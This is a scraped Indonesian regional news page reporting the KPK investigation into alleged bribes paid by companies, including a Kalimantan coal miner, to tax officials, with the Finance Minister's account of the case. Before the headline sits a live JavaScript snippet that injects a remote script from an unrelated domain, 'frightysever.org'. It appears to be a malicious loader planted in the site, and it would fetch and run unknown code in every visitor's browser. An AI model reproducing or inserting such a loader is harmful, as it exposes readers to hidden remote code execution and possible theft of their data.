(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ini Kronologi Kasus Suap Perusahaan ke Pegawai Ditjen Pajak yang Tengah Disidik KPK


KANALKALIMANTAN.COM, JAKARTA– Menteri Keuangan Sri Mulyani Indrawati buka suara terkait dugaan kasus suap di Direktorat Jenderal Pajak ( Ditjen Pajak) Kementerian Keuangan (Kemenkeu). Kasus tersebut sebelumnya penyidikan dugaan korupsi di lingkungan Ditjen Pajak sebelumnya diungkapkan oleh Wakil Ketua KPK Alexander Marwata di Gedung Merah Putih KPK, Selasa (2/3/2021).

“Kami sedang melakukan penyidikan, tetapi tersangkanya nanti dalam penyidikan itu kan mencari alat bukti untuk menetapkan tersangka. Ini yang sedang kami lakukan,” ujar Alexander.

Dengan status penanganan perkara yang sudah masuk tahap penyidikan, KPK telah menetapkan tersangka dalam kasus tersebut. Namun, Alex belum mengungkap pihak-pihak mana yang telah ditetapkan sebagai tersangka serta informasi detail terkait kasus itu.

Meski demikian, dalam jumpa pers yang disampaikan Menkeu Sri Mulyani, diungkap kronologi kasus suap tersebut. Berikut yang rangkuman kronologi kejadian seperti dirangkum kompas.com dari hasil pernyataan Sri Mulyani:
1. Berawal Aduan Masyarakat di Tahun 2020

Sri Mulyani mengatakan, penyidikan oleh KPK merupakan tindak lanjut dari hasil pengaduan masyarakat yang dilakukan pada awal tahun 2020 lalu. Sebelum diperiksa oleh KPK, unit kepatuhan internal Kemenkeu sudah melakukan tindak lanjut atas pengaduan tersebut.

“Pengaduan masyarakat atas dugaan suap tersebut terjadi pada tahun 2020 awal yang kemudian dilakukan tindakan oleh unit kepatuhan internal Kemenkeu dan KPK untuk melakukan tindak lanjut dari pengaduan tersebut,” jelas Sri Mulyani dalam konferensi pers secara virtual, Rabu (3/3/2021) lalu.

Nilai suap di dalam kasus ini ditaksir mencapai puluhan miliar rupiah. Adapun modus yang digunakan sama seperti kasus yang pernah ditangani KPK sebelumnya, yakni wajib pajak memberikan suap kepada pemeriksa pajak agar nilai pajaknya menjadi lebih rendah dari kewajiban yang harus dibayar.

2. Pegawai DJP Sudah Dibebastugaskan

Sri Mulyani pun mengatakan, saat ini pegawai Ditjen Pajak yang terlibat dalam kasys suap sudah dibebastugaskan dan mengundurkan diri dari jabatannya. Menurutnya, hal itu dilakukan untuk mempermudah proses penyidikan yang dilakukan oleh Komisi Pemberantasan Korupsi (KPK).
“Terhadap pegawai DJP, yang oleh KPK diduga terlibat di dalam dugaan suap tersebut, telah dilakukan pembebasan tugas dari jabatannya agar mudahkan penyidikan oleh KPK,” ujar dia.

“Dan yang bersangkutan telah mengundurkan diri dan sedang diproses dari sisi adminsitrasi ASN,” ujar dia.
Sri Mulyani pun mengatakan, pihaknya menghormati proses hukum yang saat ini sedang dilakukan KPK. “Kami di kemenkeu, menghormati proses hukum, yang sedag dilakukan oleh KPK untuk dapat menuntaskan dugaan suap yang dilakukan oleh pegawai Direktorat Jenderal Pajak, dengan tetap memgang azas praduga tidak bersalah,” ujar Sri Mulyani.

3. Ditjen Pajak Periksa Wajib Pajak Bersangkutan

Lebih lanjut dijelaskan, saat ini pihak DItjen Pajak sedang melakukan penelitian terhadap wajib pajak (WP) yang diduga terkait dengan kasus tersebut. Sri Mulyani mengatakan, bula terdapat bukti kekurangan pembayaran pajak oleh WP yang bersangkutan, maka Ditjen Pajak bakal mengambil tindakan sesuai aturan yang berlaku. “Saya juga menginstruksikan kepada seluruh jajaran dan pimpinan unit di Kemenkeu, agar terus melakukan pengawasan dan oembinaan kepada sleuruh jajarannya,” ujar Sri Mulyani.

Selain itu, dirinya juga meminta kepada setiap WP, konsultan pajak, serta kuasa WP untuk membantu menjaga integritas dari Ditjen Pajak.
Hal itu dilakukan dengan tidak menjanjikan atau berupaya untuk memberi imbalan, hadiah, atau sogokan kepada pegawai Ditjen Pajak. “Upaya yang dilakukan seperti itu merusak tidak hanya Ditjen Pajak atau individu, tetapi juga langkah-langkah seperti itu adalah merusak pondasi negara kita,” ujar Sri Mulyani.

“Saya juga meminta ke seluruh wajib pajak, kuasa wajib pajak, dan konsultan pajak untuk menjalankan kewajiban perpajakannya sesuai dengan ketentuan yang berlaku, dengan mengisi surat pemberitahuan (SPT) tahunan secara benar, lengkap, dan jelas,” ujar Sri Mulyani.

Sebelumnya, KPK mengkonfirmasi sedang melakukan penyidikan kasus suap pajak di Direktorat Jenderal Pajak, Kementerian Keuangan. Dalam kasus tersebut, diduga wajib pajak berupa perseroan memberikan duit ke pejabat pajak untuk merekayasa jumlah pajak yang harus dibayarkan.
“Ketika itu menyangkut perpajakan, itu ada kepentingan PT dengan pejabat pajak, kalau mau pajaknya rendah ada upahnya, kan begitu,” kata Wakil Ketua KPK Alexander Marwata di kantornya, Jakarta, Selasa (2/3/2021) seperti dilansir Tempo.co.

Menurut sumber Tempo, yang mengetahui proses penyidikan kasus tersebut, ada sejumlah perusahaan yang ditengarai terseret kasus itu. Mereka diduga memberikan sejumlah uang untuk pejabat pajak.
Salah satunya adalah perusahaan tambang batu bara. Perusahaan ini diketahui salah satunya beroperasi di area Pulau Kalimantan bagian selatan.

Perusahaan ini diduga menyetor Rp 30 miliar. Pemberian uang dilakukan melalui konsultan. Pengurusan pemeriksaan pajak diduga dilakukan untuk pajak tahun 2016 dan 2017. Untuk tahun 2016 jumlah kurang bayar pajak perusahaan ini diduga sebesar Rp 91 miliar. (Kanalkalimantan.com/kompas/tempo)

Editor: cell

 

 

 


Al Ghifari

Recent Posts

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

8 menit ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

4 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

7 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

7 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

7 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

7 jam ago

This website uses cookies.